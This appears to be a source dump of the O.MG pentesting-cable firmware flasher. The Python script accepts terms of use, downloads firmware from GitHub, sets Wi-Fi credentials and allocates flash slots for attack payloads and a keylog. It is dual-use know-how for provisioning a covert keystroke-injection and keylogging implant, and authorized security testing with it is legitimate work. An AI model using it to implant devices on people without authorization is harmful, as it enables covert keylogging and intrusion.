AP (Broadcast a new AP)
Station (Connect to Infrastructure)
This log contains info processed during this browser session, including payloads edited or ran & keylogs viewed. We recommend reloading your browser session and limiting your activity to only what you are comfortable sharing.
If you have internet access, you can also search below.
File: unsaved
(
unsaved
)
File Menu
Run on Boot:
Calibration Status:
================================================
FILE: c2server/requirements.txt
================================================
pymonocypher == 3.1.*
================================================
FILE: flash.py
================================================
# Copyright 2023 Mischief Gadgets LLC
import os
import sys
import json
import glob
import serial
import base64
import platform
import argparse
import platform
import mimetypes
import http.client
import urllib.parse
from sys import exit
from time import time
from math import floor
from signal import signal, SIGINT
from serial.tools import hexlify_codec
from serial.tools.list_ports import comports
from pprint import pprint
try:
raw_input
except NameError:
# pylint: disable=redefined-builtin,invalid-name
raw_input = input # in python3 it's "raw"
unichr = chr
if 'idlelib.run' in sys.modules:
print("!!!! PLEASE DO NOT RUN THIS IN IDLE EDITOR !!!!")
print("Unexpected outcomes or errors may occur when running in IDLE")
print("Please launch this by opening your command line or terminal and typing 'python3 flash.py'")
print("If you have any questions please see the wiki https://github.com/O-MG/O.MG-Firmware/wiki")
sys.exit(1)
VERSION = "FIRMWARE FLASHER VERSION NUMBER [ 230907 @ 153241 UTC ]"
FLASHER_VERSION = 1 # presume we have an old style flasher = 1
FLASHER_VERSION_DETECT = True
BRANCH = "stable"
FIRMWARE_DIR="./firmware"
FIRMWARE_URL = "https://raw.githubusercontent.com/O-MG/O.MG-Firmware/%BRANCH%"
MEMMAP_URL = "https://raw.githubusercontent.com/O-MG/WebFlasher/main/assets/memmap.json"
UPDATES = "FOR UPDATES VISIT: [ https://github.com/O-MG/O.MG-Firmware ]\n"
MOTD = """\
./ohds. -syhddddhys: .oddo/.
`: oMM+ dMMMMMMMMm`/MMs :`
`/hMh`:MMm .:-....-:- hMM+`hMh/
`oNMm:`sMMN:`:+osssso+:`-NMMy.:dMNo`
+NMMs +NMMh`:mMMMMMMMMMMN/`yMMNo +MMN+
.dMMMy sMMMh oMNhs+////+shNMs yMMMy sMMMd.
-NMMM+ NMMMd`-. `.::::.` .:`hMMMM` +MMMN-
-NMMN- hMMMMMdhhmMMMMMMMMmhhdNMMMMd -NMMN.
mMMM- `m:`hMMMMMMMMMmhyyhmMMMMMMMMMd.-d` -MMMm
+MMMs dMMs -sMMMMm+` `+mMMMMs: oMMh sMMM+
dMMM` :MMMy oMMMy yMMMo hMMM: `MMMd
MMMm sMMM: NMMN NMMN :MMMs mMMM
`MMMd yMMM- `MMMd dMMM` :MMMs dMMM`
NMMN +MMMo dMMM: :MMMN. +MMM+ NMMN
yMMM/ `NMMN` .NMMN+ +MMMMMMh.+MN` /MMMy
.MMMm` /MMMd` .hMMMNy+:--:+yNMMMdsNMMN.+/ `mMMM.
+MMMh +MMMN/ :hMMMMMMMMMMMMh: yMMM/ hMMM+
sMMMh` -mMMMd/` `:oshhhhy+:` `/dMMMh `hMMMs
oMMMN/ +mMMMMho:. .:ohMMMMm/ :NMMMo
-mMMMd: :yNMMMMMMNNNNMMMMMMNy: :dMMMm-
+NMMMmo -+shmNMMMMNmhs+- .omMMMN+
`/dNo.:/ `-+ymMMMMd/
/mM-.:/+ossyyhhdmNMMMMMMdo.
-mMMMMMMMMMMMMMMMMMMNdy+-
/MMMMMMmyso+//::--.`
:MMMMNNNNs-
`Ndo:` `.`
:-\
"""
def omg_tos():
message = """
Agreement
O.MG Cable, O.MG Adapter, and O.MG Plug are trademarks of Mischief Gadgets,
LLC. Mischief Gadgets, LLC requires that all users read and accept the
provisions of the Terms of Use Policy and the Privacy Policy prior to
granting users any authorization to use pentesting hardware created by
Mischief Gadgets, LLC and/or its affiliates. The Terms of Use Policy and
the Privacy Policy can be found at https://o.mg.lol, and must be
affirmatively consented to by users prior to using any pentesting hardware
created by Mischief Gadgets, LLC and/or its affiliates (hereinafter referred
to as “O.MG Devices”). Reading and Accepting the Terms of Use and the Privacy
Policy are REQUIRED CONSIDERTIONS for Mischief Gadgets, LLC and/or its
affiliates granting users the right to use any O.MG Device. All persons are
DENIED permission to use any O.MG Device, unless they read and affirmatively
accept the Terms of Use Policy and the Privacy Policy located at
https://o.mg.lol.
Privacy Policy
All persons under the age of 18 are denied access to the website located at
https://o.mg.lol, as well as denied authorization to use any O.MG Device.
If you are under the age of 18, it is unlawful for you to visit, communicate,
or interact with Mischief Gadgets, LLC and/or its affiliates in any manner.
Mischief Gadgets, LLC and/or its affiliates specifically denies access to any
individual that is covered by the Child Online Privacy Act (COPA) of 1998.
Mischief Gadgets, LLC and/or its affiliates reserve the right to deny access
to any person or viewer for any reason. Under the provisions of this Privacy
Policy, Mischief Gadgets, LLC and/or its affiliates are allowed to collect and
store data and information for the purpose of exclusion, and for any other
uses seen fit.
Mischief Gadgets, LLC and/or its affiliates have established safeguards to
help prevent unauthorized access to or misuse of your information but cannot
guarantee that your information will never be disclosed in a manner
inconsistent with this Privacy Policy (for example, as a result of any
unauthorized act by third parties that violate applicable law or our
affiliates’ policies). To protect your privacy and security, we may use
passwords or other technologies to register or authenticate you and enable
you to take advantage of our services, and before granting access or making
corrections to your information.
Mischief Gadgets, LLC and/or its affiliates do not rent or sell your personally
identifiable information (such as name, address, telephone number, and credit
card information) to third parties for their marketing purposes.
This Privacy Policy may change from time to time. Users have an affirmative
duty, as part of the consideration for permission to use O.MG Devices, to keep
themselves informed of changes to this Privacy Policy. All changes to this
Privacy Policy will be posted at https://o.mg.lol.
Terms of Use
Pentesting hardware designed by Mischief Gadgets, LLC and/or its affiliates
(hereinafter referred to as “O.MG Devices”) are network administration and
pentesting tools used for authorized auditing and security analysis purposes
only where permitted, subject to local and international laws where applicable.
Users are solely responsible for compliance with all laws of their locality.
Mischief Gadgets, LLC and/or its affiliates claim no responsibility for
unauthorized or unlawful use.
O.MG Devices are packaged with a limited warranty, the acceptance of which is
a condition of sale. See https://o.mg.lol for additional warranty details and
limitations. Availability and performance of certain features, services, and
applications are device and network dependent and may not be available in all
areas; additional terms, conditions and/or charges may apply.
You agree not to access or use any O.MG Device or the website located at
https://o.mg.lol in any unlawful way or for any unlawful or illegitimate
purpose or in any manner that contravenes this Agreement. You shall not
use any O.MG
Device to post, use, store, or transmit any information that is unlawful,
libelous, defamatory, obscene, fraudulent, predatory of minors, harassing,
threatening or hateful towards any individual, this includes any information
that infringes or violates any of the intellectual property rights of others
or the privacy rights of others. You shall not use any O.MG Device to attempt
to disturb the peace by any method, including through use of viruses, Trojan
horses, worms, time bombs, denial of service attacks, flooding or spamming.
You shall not use any O.MG Device in any manner that could damage, disable or
impair Mischief Gadgets, LLC and/or its affiliates, or any third-party. You
shall not use any O.MG Device to attempt to gain unauthorized access to any
user account, computer systems, or networks through hacking, password mining
or any other means. You shall not use any O.MG Device alongside any robot, data
scraper, miner or virtual computer to gain unlawful access to protected
computer systems.
All features, functionality and other product specifications are subject to
change without notice or obligation. Mischief Gadgets, LLC and/or its
affiliates reserve the right to make changes to the product description in
this document without notice. Mischief Gadgets, LLC and/or its affiliates
do not assume any liability that may occur due to the use or application of
the product(s) described herein.
These terms and conditions shall be governed by and construed in accordance
with the laws of the state of New York, United States of America, and you
agree to submit to the personal jurisdiction of the courts of the state of
New York. In the event that any portion of these terms and conditions is deemed
by a court to be invalid, the remaining provisions shall remain in full force
and effect. You agree that regardless of any statute or law to the contrary,
any claim or cause of action arising out of or related to this Web site, or the
use of this Website, must be filed within one year after such claim or cause of
action arose and must be filed in a court in New York, New York, U.S.A.
As required by Section 512(c)(2) of Title 17 of the United States Code, if you
believe that any material on the website located at https://o.mg.lol infringes
your copyright, you must send a notice of claimed infringement to Mischief
Gadget, LLC’s General Counsel at the following address:
c/o Mischief Gadgets, LLC - General Counsel
Tor Ekeland Law, PLLC
30 Wall St., 8th Floor
New York, NY 10005
[info@torekeland.com]
If you do not agree to be bound by this Agreement, do not access or use any
O.MG Device, or the website located at https://o.mg.lol. We reserve the right,
with or without notice, to make changes to this Agreement at our discretion.
Continued use of any O.MG Device or the website located at https://o.mg.lol
constitutes your acceptance of these Terms, as they may appear at the time
of your access.
By continuing, by availing yourself of any O.MG Device or the website located
at https://o.mg.lol, or by accessing, visiting, browsing, using or attempting
to interact with or use any O.MG Device or the website located at
https://o.mg.lol, you agree that you have read, understand, and agree to be
bound by this Agreement as well as our Privacy Policy, which is a part of this
Agreement and which can be viewed here: https://o.mg.lol.
"""
print("\n\nTo use this flashing tool and O.MG Devices you must agree to the following\n\n")
try:
from scripts import pager as pager
from io import StringIO
f = StringIO(message)
pager.page(f)
except KeyError:
print(message)
print("\n\nTo use this flashing tool and O.MG Devices you must agree to the following\n\n")
INPUT_CORRECT = False
USER_AGREED = False
while not INPUT_CORRECT:
print("\n\nDo you agree? You must type yes or no\n\n")
user_response = str(input("Select Option: ")).replace(" ","").lower().strip()
if "yes" in user_response:
INPUT_CORRECT = True
USER_AGREED = True
if "no" in user_response:
INPUT_CORRECT = True
USER_AGREED = False
if USER_AGREED:
return True
else:
print("<<< DID NOT AGREE TO TERMS OF SERVICE. CANNOT CONTINUE >>>")
sys.exit(1)
def omg_dependency_imports():
# load pyserial
try:
global serial
import serial
except:
print("\n<<< PYSERIAL MODULE MISSING, MANUALLY INSTALL TO CONTINUE >>>")
print("<<< YOU CAN TRY: npm install serial or pip install pyserial >>>")
complete(1)
try:
from scripts import flashapi as flashtest
except:
if not os.path.exists('./scripts/'):
os.mkdir("./scripts/")
dependencies = ['flashapi.py', 'miniterm.py']
for dependency in dependencies:
file_path = "scripts/"+dependency
file_url = FIRMWARE_URL.replace("%BRANCH%",BRANCH) + "/scripts/" + dependency
try:
res = get_resource_file(file_url)
if res['status'] == 200:
with open(file_path,"wb") as f:
f.write(res['data'])
print("succesfully fetched missing dependency %s from %s"%(dependency,file_url))
except:
print("failed to get missing dependency %s from %s"%(dependency,file_url))
try:
global flashapi
from scripts import flashapi as flashapi
except:
print("<<< flashapi.PY MISSING FROM scripts/flashapi.py >>>")
print("<<< PLEASE MANUALLY DOWNLOAD FROM https://github.com/O-MG/O.MG-Firmware >>>")
complete(1)
def handler(signal_received, frame):
# Handle any cleanup here
print('SIGINT or CTRL-C detected. Exiting gracefully')
exit(0)
class omg_results():
def __init__(self):
self.OS_DETECTED = ""
self.PROG_FOUND = False
self.PORT_PATH = ""
self.WIFI_DEFAULTS = False
self.WIFI_SSID = "O.MG"
self.WIFI_PASS = "12345678"
self.WIFI_MODE = "2"
self.WIFI_TYPE = "STATION"
self.FILE_PAGE = "page.mpfs"
self.FILE_INIT = "esp_init_data_default_v08.bin"
self.FILE_ELF0 = "image.elf-0x00000.bin"
self.FILE_ELF1 = "image.elf-0x10000.bin"
self.FILE_BLANK = "blank.bin"
self.FILE_OFAT_INIT = "blank-settings.bin"
self.FLASH_SLOTS = 4
self.FLASH_PAYLOAD_SIZE = 60
self.NUMBER_SLOTS = 50
def get_dev_info(dev):
esp = flashapi.ESP8266ROM(dev, baudrate, None)
esp.connect(None)
mac = esp.read_mac()
esp.flash_spi_attach(0)
flash_id = esp.flash_id()
size_id = flash_id >> 16
flash_size = {0x14: 0x100000, 0x15: 0x200000, 0x16: 0x400000}[size_id]
return mac, flash_size
def ask_for_flasherhwver():
"""
Ask for the flasher version, either 1 or 2 right now...
"""
FLASHER_VERSION = 1
flash_version = FLASHER_VERSION
if FLASHER_VERSION is None:
while True:
try:
flash_version = int(raw_input("--- Enter version of programmer hardware [Available Versions: Programmer V1 or Programmer V2]: ".format(FLASHVER=flash_version)))
except:
pass
if flash_version == 1 or flash_version == 2:
break
print("<<< USER REPORTED HARDWARE FLASHER REVISION AS VERSION", flash_version, ">>>")
return flash_version
def ask_for_port():
"""\
Show a list of ports and ask the user for a choice. To make selection
easier on systems with long device names, also allow the input of an
index.
"""
global FLASHER_VERSION
i = 0
sys.stderr.write('\n--- Available ports:\n')
port = None
ports = []
ports_info = {}
skippedports = []
for n, (port, desc, hwid) in enumerate(sorted(comports()), 1):
includedport = "CP210"
if includedport in desc:
i+=1
sys.stderr.write('--- {:2}: {:20} {!r}\n'.format(i, port, desc))
ports.append(port)
ports_info[port]={'port': port,'desc': desc,'hwid': hwid}
else:
skippedports.append(port)
while True:
num_ports = len(ports)
#if num_ports == 1:
# return ports[0]
#else:
port = raw_input('--- Enter port index or full name: ')
try:
index = int(port) - 1
if not 0 <= index < len(ports):
sys.stderr.write('--- Invalid index!\n')
continue
except ValueError:
all_ports = skippedports + list(ports_info.keys())
cleaned_value = str(port).strip().strip(" ")
in_valid_list = (cleaned_value in ports_info.keys())
if cleaned_value in all_ports:
# we found a port
if not in_valid_list:
print(f"!! Warning: Manually selecting port {port}, but unable to verify it is a CP210x device")
break
else:
if len(ports)==1:
print("<<< ONLY ONE PROGRAMMER FOUND, SELECTING PROGRAMMER 1 >>>")
port = ports[0]
break
else:
print("Invalid option. You must enter an index or full path to the device")
pass
else:
port = ports[index]
break
FLASHER_VERSION = 1 # update back to 1
if FLASHER_VERSION_DETECT:
try:
sercheck = serial.Serial(port=port,dsrdtr=True)
sercheck.dtr=0
# we do 3 checks
final_check = True
if sercheck.dsr == sercheck.dtr and sercheck.dsr == 0:
# we will set it to true
for check in [True,False,True]:
sercheck.dtr=int(check)
curr_check = False
if sercheck.dtr == int(check) and sercheck.dsr == sercheck.dtr:
curr_check = True
final_check = final_check & curr_check
sercheck.close()
if final_check:
print("Found programmer version: 2")
print("This programmer will not require reconnection, please utilize the visual indicators on the programmer to ensure omg device is properly connected.")
FLASHER_VERSION = 2
else:
print("Found programmer version: 1")
#print("You will need to reconnect this when doing operations.")
except KeyError:
print("Defaulting to programmer version: 1")
# finish
return port
def omg_flash(command,tries=2):
global FLASHER_VERSION
ver = FLASHER_VERSION
if int(ver) == 2 and FLASHER_VERSION_DETECT:
try:
flashapi.main(command)
return True
except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e:
print("Error", str(e))
return False
else:
ret = False
while tries>0:
try:
ret = flashapi.main(command)
print("<<< OPERATION SUCCESSFUL. PLEASE UNPLUG AND REPLUG DEVICE BEFORE CONTINUING >>>")
input("")
ret = True
break
except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e:
tries-=1
print("Unsuccessful communication,", tries, "trie(s) remain")
if not ret:
print("<<< ERROR DURING OPERATION PREVENTED SUCCESSFUL FLASH. TRY TO RECONNECT DEVICE OR REBOOT >>>")
complete(1)
else:
return ret
def complete(statuscode, message="Press Enter to continue..."):
input(message)
sys.exit(statuscode)
def make_request(url):
urlparse = urllib.parse.urlparse(url)
url_parts = None
if ":" in str(urlparse.netloc):
url_parts = str(urlparse.netloc).split(":")
else:
port = 443
if urlparse.scheme != "https":
port = 80
url_parts = (urlparse.netloc, port)
if urlparse.scheme == "https":
conn = http.client.HTTPSConnection(host=url_parts[0], port=url_parts[1])
else:
conn = http.client.HTTPConnection(host=url_parts[0], port=url_parts[1])
return conn
def get_resource_file(url,params=None,data_type='text'):
dta = "text/plain"
if data_type == "json":
dta = "application/json"
pyver = sys.version_info
uas = "httplib ({0}) python/{1}.{2}.{3}-{4}".format(sys.platform,pyver.major,pyver.minor,pyver.micro,pyver.serial)
headers = {
"Content-type": "application/x-www-form-urlencoded",
"Accept": dta,
"User-Agent": uas
}
status = None
try:
conn = make_request(url)
conn.request("GET", url, params, headers)
response = conn.getresponse()
status = int(response.status)
data = response.read()
except ConnectionError:
data = None
status = 500
return {'data': data, 'status': status}
def get_release_data():
global BRANCH
release_url = "https://api.github.com/repos/O-MG/O.MG-Firmware/releases?per_page=100"
release_data = get_resource_file(url=release_url,data_type='json')
if release_data['status'] == 200:
raw_releases = json.loads(release_data['data'])
releases = {}
release_list = []
for element in raw_releases:
if "target_commitish" in element and element["target_commitish"] not in releases:
# add
if not element["draft"] :
releases[element["target_commitish"]] = element
releases[element["target_commitish"]]["version"] = element["tag_name"]
releases[element["target_commitish"]]["author"] = element["author"]["login"]
#del element["target_commitish"]["author"]
release_list.append(releases[element["target_commitish"]])
if BRANCH in releases:
return releases[BRANCH]["tag_name"]
else:
return None
def omg_fetch_latest_firmware(create_dst_dir=False,dst_dir="./firmware"):
curr_branch = BRANCH
try:
curr_branch = get_release_data()
except OSError:
pass
mem_map = get_resource_file(MEMMAP_URL)
data = None
if mem_map is not None and 'status' in mem_map and mem_map['status'] == 200:
# attempt to create dir
if not dst_dir=="./" or create_dst_dir:
if os.path.exists(dst_dir):
for f in os.listdir(dst_dir):
os.remove(dst_dir + "/" + f)
os.rmdir(dst_dir)
os.mkdir(dst_dir)
json_map = json.loads(mem_map['data'])
data = json_map
pymap = {}
dl_files = []
for flash_size,files in json_map.items():
mem_size = int(int(flash_size)/1024)
file_map = []
for resource in files:
file_map.append(resource['offset'])
file_map.append(resource['name'])
if resource['name'] not in dl_files:
dl_files.append(resource['name'])
pymap[mem_size]=file_map
#pprint(pymap)
#pprint(dl_files)
print(f"\n\n<<<< WARNING: Firmware was not found in {dst_dir}! Resetting and attempting to download {curr_branch} firmware from the internet. >>>> \n\n")
for dl_file in dl_files:
dl_url = ("%s/firmware/%s"%(FIRMWARE_URL,dl_file)).replace("%BRANCH%",curr_branch)
n = get_resource_file(dl_url)
if n is not None and 'data' in n and n['status']==200:
dl_file_path = "%s/%s"%(dst_dir,dl_file)
with open(dl_file_path,'wb') as f:
print("writing %d bytes of data to file %s from %s"%(len(n['data']),dl_file_path,dl_url))
f.write(n['data'])
return data
def omg_locate():
def omg_check(fw_path):
PAGE_LOCATED = False
INIT_LOCATED = False
ELF0_LOCATED = False
ELF1_LOCATED = False
ELF2_LOCATED = False
if os.path.isfile(results.FILE_PAGE):
PAGE_LOCATED = True
else:
if os.path.isfile(fw_path + results.FILE_PAGE):
results.FILE_PAGE = fw_path + results.FILE_PAGE
PAGE_LOCATED = True
if os.path.isfile(results.FILE_INIT):
INIT_LOCATED = True
else:
if os.path.isfile(fw_path + results.FILE_INIT):
results.FILE_INIT = fw_path + results.FILE_INIT
INIT_LOCATED = True
if os.path.isfile(results.FILE_ELF0):
ELF0_LOCATED = True
else:
if os.path.isfile(fw_path + results.FILE_ELF0):
results.FILE_ELF0 = fw_path + results.FILE_ELF0
ELF0_LOCATED = True
if os.path.isfile(results.FILE_ELF1):
ELF1_LOCATED = True
else:
if os.path.isfile(fw_path + results.FILE_ELF1):
results.FILE_ELF1 = fw_path + results.FILE_ELF1
ELF1_LOCATED = True
if os.path.isfile(results.FILE_BLANK):
ELF2_LOCATED = True
else:
if os.path.isfile(fw_path + results.FILE_BLANK):
results.FILE_BLANK = fw_path + results.FILE_BLANK
ELF2_LOCATED = True
if os.path.isfile(fw_path + results.FILE_OFAT_INIT):
try:
os.unlink(fw_path + results.FILE_OFAT_INIT)
except:
pass
results.FILE_OFAT_INIT = fw_path + results.FILE_OFAT_INIT
# return data
return (PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED)
# do lookups
fw_path = FIRMWARE_DIR + "/"
if not os.path.exists(fw_path):
omg_fetch_latest_firmware(True,fw_path)
# try one
PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED = omg_check(fw_path)
if not (PAGE_LOCATED and INIT_LOCATED and ELF0_LOCATED and ELF1_LOCATED and ELF2_LOCATED):
omg_fetch_latest_firmware(False,fw_path)
PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED = omg_check(fw_path)
# now see if things worked
if PAGE_LOCATED and INIT_LOCATED and ELF0_LOCATED and ELF1_LOCATED and ELF2_LOCATED:
print("\n<<< ALL FIRMWARE FILES LOCATED >>>\n")
else:
print("<<< SOME FIRMWARE FILES ARE MISSING, PLACE THEM IN THIS FILE'S DIRECTORY >>>")
if not PAGE_LOCATED: print("\n\tMISSING FILE: {PAGE}".format(PAGE=results.FILE_PAGE))
if not INIT_LOCATED: print("\tMISSING FILE: {INIT}".format(INIT=results.FILE_INIT))
if not ELF0_LOCATED: print("\tMISSING FILE: {ELF0}".format(ELF0=results.FILE_ELF0))
if not ELF1_LOCATED: print("\tMISSING FILE: {ELF1}".format(ELF1=results.FILE_ELF1))
if not ELF2_LOCATED: print("\tMISSING FILE: {ELF2}".format(ELF2=results.FILE_BLANK))
print('')
complete(1)
def omg_probe():
devices = ""
results.PROG_FOUND = False
detected_ports = ask_for_port()
devices = detected_ports
results.PORT_PATH = devices
if len(devices) > 1:
results.PROG_FOUND = True
if results.PROG_FOUND:
print("\n<<< O.MG-PROGRAMMER WAS FOUND ON {PORT} >>>".format(PORT=results.PORT_PATH))
else:
if results.OS_DETECTED == "DARWIN":
print("<<< O.MG-DEVICE-PROGRAMMER WAS NOT FOUND IN DEVICES, YOU MAY NEED TO INSTALL THE DRIVERS FOR CP210X USB BRIDGE >>>\n")
print("VISIT: [ https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers ]\n")
else:
print("<<< O.MG-PROGRAMMER WAS NOT FOUND IN DEVICES >>>\n")
complete(1)
def omg_reset_settings():
FILE_INIT = results.FILE_OFAT_INIT
try:
with open(FILE_INIT,'wb') as f:
fill = (4*1024)
init_cmd = "\00"*abs(fill)
f.write(bytes(init_cmd.encode("utf-8")))
except:
print("Warning: Unable to reset " + FILE_INIT)
def omg_patch(_ssid, _pass, _mode, slotsize=4, percent=60):
FILE_INIT = results.FILE_OFAT_INIT
init_cmd = "INIT;"
settings = {
"wifimode": _mode,
"wifissid": _ssid,
"wifikey": _pass
}
for config,value in settings.items():
init_cmd+="S:{KEY}{SEP}{VALUE};".format(SEP="=", KEY=config,VALUE=value)
# once booted we know more, this is a sane default for now
# if we set this to %f we can actually erase and allocate at once
if slotsize>0:
init_cmd += "F:keylog=0;F:payload1=0;F:payload2=0;F:payload3=0;F:payload4=0;F:payload5=0;F:payload6=0;F:payload7=0;F:bootscript=4;F:hidxfile=16;"
ns = floor(((360*4)*(percent*.01))/(slotsize*4))
print(f"[If Applicable] Number of Slots: {ns} with size {slotsize*4}k each based on {percent}% for payload slots")
results.NUMBER_SLOTS = ns
for i in range(1,ns+1):
init_cmd+="f{SEP}payload{COUNT}={SLOT};".format(SEP=":", COUNT=i, SLOT=int(slotsize))
init_cmd += "f{SEP}keylog=100%F;".format(SEP=":")
init_cmd += "\0"
try:
with open(FILE_INIT,'wb') as f:
length = len(init_cmd)
fill = (4*1024)-length
init_cmd += "\00"*abs(fill)
f.write(bytes(init_cmd.encode("utf-8")))
except:
print("\n<<< PATCH FAILURE, ABORTING >>>")
complete(1)
def omg_input():
WIFI_MODE = ''
SANITIZED_SELECTION = False
while not SANITIZED_SELECTION:
try:
notemsg = "Hitting enter without an option will default to AP Mode with SSID: %s Pass: %s"%(results.WIFI_SSID,results.WIFI_PASS)
WIFI_MODE = input("\nSELECT WIFI MODE\n1: STATION - (Connect to existing network. 2.4GHz)\n2: ACCESS POINT - (Create SSID. IP: 192.168.4.1)\n[%s]\nWifi Configuration [Hit Enter to use Defaults]: "%notemsg)
if WIFI_MODE == '' or WIFI_MODE == '1' or WIFI_MODE == '2':
SANITIZED_SELECTION = True
except:
pass
if len(WIFI_MODE) == 1:
results.WIFI_DEFAULTS = False
results.WIFI_MODE = WIFI_MODE
if WIFI_MODE == '1':
results.WIFI_TYPE = 'STATION'
else:
results.WIFI_TYPE = 'ACCESS POINT'
else:
results.WIFI_DEFAULTS = True
if not results.WIFI_DEFAULTS:
WIFI_SSID = ''
SANITIZED_SELECTION = False
while not SANITIZED_SELECTION:
try:
WIFI_SSID = input("\nENTER WIFI SSID (1-32 Characters): ")
if len(WIFI_SSID) > 1 and len(WIFI_SSID) < 33:
SANITIZED_SELECTION = True
except:
pass
results.WIFI_SSID = WIFI_SSID
WIFI_PASS = ''
SANITIZED_SELECTION = False
while not SANITIZED_SELECTION:
try:
WIFI_PASS = input("\nENTER WIFI PASS (8-64 Characters): ")
if len(WIFI_PASS) > 7 and len(WIFI_PASS) < 65:
SANITIZED_SELECTION = True
except:
pass
results.WIFI_PASS = WIFI_PASS
# enable to let user customize on plus an elite devices
# beta feature
PROMPT_FLASH_CUSTOMIZE = False
FLASH_CUSTOMIZE = 0
FLASH_SIZE = 4
FLASH_PAYLOAD_PERCENT = 60
SANITIZED_SELECTION = False
if PROMPT_FLASH_CUSTOMIZE:
while not SANITIZED_SELECTION:
try:
CUST_INPUT = str(input("\nCUSTOMIZE PAYLOAD AND KEYLOG ALLOCATIONS?\n(Note: Only compatible with Plus and Elite O.MG Devices)\nBegin Customization? (Yes or No) [Default: No] ")).lower()
if "yes" in CUST_INPUT or "no" in CUST_INPUT or '' in CUST_INPUT:
print("Using default")
SANITIZED_SELECTION = True
if "yes" in CUST_INPUT:
FLASH_CUSTOMIZE=1
except:
pass
if FLASH_CUSTOMIZE:
SANITIZED_SELECTION = False
while not SANITIZED_SELECTION:
try:
CUST_INPUT = int(input("\nPERCENTAGE OF FLASH ALLOCATED TO PAYLOAD: [Usually 40%] ").lower().replace("%",""))
if CUST_INPUT>0 and CUST_INPUT<101:
SANITIZED_SELECTION=True
FLASH_PAYLOAD_PERCENT = CUST_INPUT
elif '' in CUST_INPUT:
SANITIZED_SELECTION=True
print("Using default")
except:
pass
SANITIZED_SELECTION=False
while not SANITIZED_SELECTION:
try:
CUST_INPUT = int(str(input("\nENTER PAYLOAD SLOT SIZE [Divisible By 4 between 4K and Max 32K]: ")).lower().replace("%","").replace("k",""))
if (CUST_INPUT%4)==0:
FLASH_SIZE=(CUST_INPUT)/4
SANITIZED_SELECTION=True
if(CUST_INPUT>(360*4)):
print(f"{CUST_INPUT} is greater then the max size available.")
break
else:
print(f"\n{CUST_INPUT} is not divisible by 4, try again. Note: Default is 4k")
except:
pass
results.FLASH_SLOTS = FLASH_SIZE
results.FLASH_PAYLOAD_SIZE = FLASH_PAYLOAD_PERCENT
def omg_flashfw(mac=None,flash_size=None):
if not mac and not flash_size:
mac, flash_size = get_dev_info(results.PORT_PATH)
# attempt to continue
try:
FILE_PAGE = results.FILE_PAGE
FILE_INIT = results.FILE_INIT
FILE_ELF0 = results.FILE_ELF0
FILE_ELF1 = results.FILE_ELF1
FILE_OFAT_INIT = results.FILE_OFAT_INIT
if flash_size < 0x200000:
command = ['--baud', baudrate, '--port', results.PORT_PATH, 'write_flash', '-fs', '1MB', '-fm', 'dout', '0xfc000', FILE_INIT, '0x00000', FILE_ELF0, '0x10000', FILE_ELF1, '0x80000', FILE_PAGE, '0x7f000', FILE_OFAT_INIT]
else:
command = ['--baud', baudrate, '--port', results.PORT_PATH, 'write_flash', '-fs', '2MB', '-fm', 'dout', '0x1fc000', FILE_INIT, '0x00000', FILE_ELF0, '0x10000', FILE_ELF1, '0x80000', FILE_PAGE, '0x7f000', FILE_OFAT_INIT]
print("\n\n")
omg_flash(command)
except:
print("\n<<< SOMETHING FAILED WHILE FLASHING >>>")
complete(1)
def omg_runflash(pre_erase=False,skip_flash=False,skip_input=False,skip_reset=False):
# get info
mac, flash_size = get_dev_info(results.PORT_PATH)
if (pre_erase and skip_flash) or FLASHER_VERSION>=2:
if skip_flash:
print("Attempting to factory reset (erase) device...")
else:
print("Attempting to clear device before flashing...")
if flash_size < 0x200000:
command = ['--baud', baudrate, '--port', results.PORT_PATH, 'erase_region', '0x70000', '0x8A000']
else:
command = ['--baud', baudrate, '--port', results.PORT_PATH, 'erase_region', '0x70000', '0x18A000']
omg_flash(command)
if not skip_flash:
if not skip_input:
omg_input()
omg_patch(results.WIFI_SSID, results.WIFI_PASS, results.WIFI_MODE, results.FLASH_SLOTS, results.FLASH_PAYLOAD_SIZE)
omg_flashfw(mac,flash_size)
print("\n[ WIFI SETTINGS ]")
print("\n WIFI_SSID: {SSID}\n WIFI_PASS: {PASS}\n WIFI_MODE: {MODE}\n WIFI_TYPE: {TYPE}".format(SSID=results.WIFI_SSID, PASS=results.WIFI_PASS, MODE=results.WIFI_MODE, TYPE=results.WIFI_TYPE))
print("\n[ FIRMWARE USED ]")
print("\n INIT: {INIT}\n ELF0: {ELF0}\n ELF1: {ELF1}\n PAGE: {PAGE}".format(INIT=results.FILE_INIT, ELF0=results.FILE_ELF0, ELF1=results.FILE_ELF1, PAGE=results.FILE_PAGE))
if results.FLASH_SLOTS > 0:
print("\n[ CUSTOM PAYLOAD CONFIGURATION ]")
pp=results.FLASH_PAYLOAD_SIZE
kp=abs(100-results.FLASH_PAYLOAD_SIZE)
ns=int(results.FLASH_SLOTS*4)
np=results.NUMBER_SLOTS
print(f"\n PERCENT FLASH PAYLOAD SPACE: {pp}\n PERCENT FLASH KEYLOG SPACE: {kp} (Where Applicable)\n NUMBER OF PAYLOADS: {np}\n SIZE OF PAYLOAD SLOTS: {ns}k\n ")
# attempt to always erase settings
if not skip_reset:
omg_reset_settings()
def get_script_path():
return os.path.dirname(os.path.realpath(sys.argv[0]))
if __name__ == '__main__':
signal(SIGINT, handler)
print("\n" + VERSION)
print("\n" + UPDATES)
print("\n" + MOTD + "\n")
results = omg_results()
baudrate = '115200'
thedirectory = get_script_path()
os.chdir(thedirectory)
omg_tos()
omg_dependency_imports()
results.OS_DETECTED = platform.system().upper()
omg_locate()
omg_reset_settings()
omg_probe()
if FLASHER_VERSION_DETECT:
FLASHER_VERSION = ask_for_flasherhwver()
MENU_MODE = ''
SANITIZED_SELECTION = False
while not SANITIZED_SELECTION:
try:
menu_options = [
'FLASH NEW FIRMWARE',
'FACTORY RESET',
'FIRMWARE UPGRADE - BATCH MODE',
'FACTORY RESET - BATCH MODE',
'BACKUP DEVICE',
'DOWNLOAD FIRMWARE UPDATES',
'EXIT FLASHER',
]
print("Available Options \n")
i = 1
for menu_option in menu_options:
print(i," ",menu_option,end="")
if i == 1:
print(" (DEFAULT)")
else:
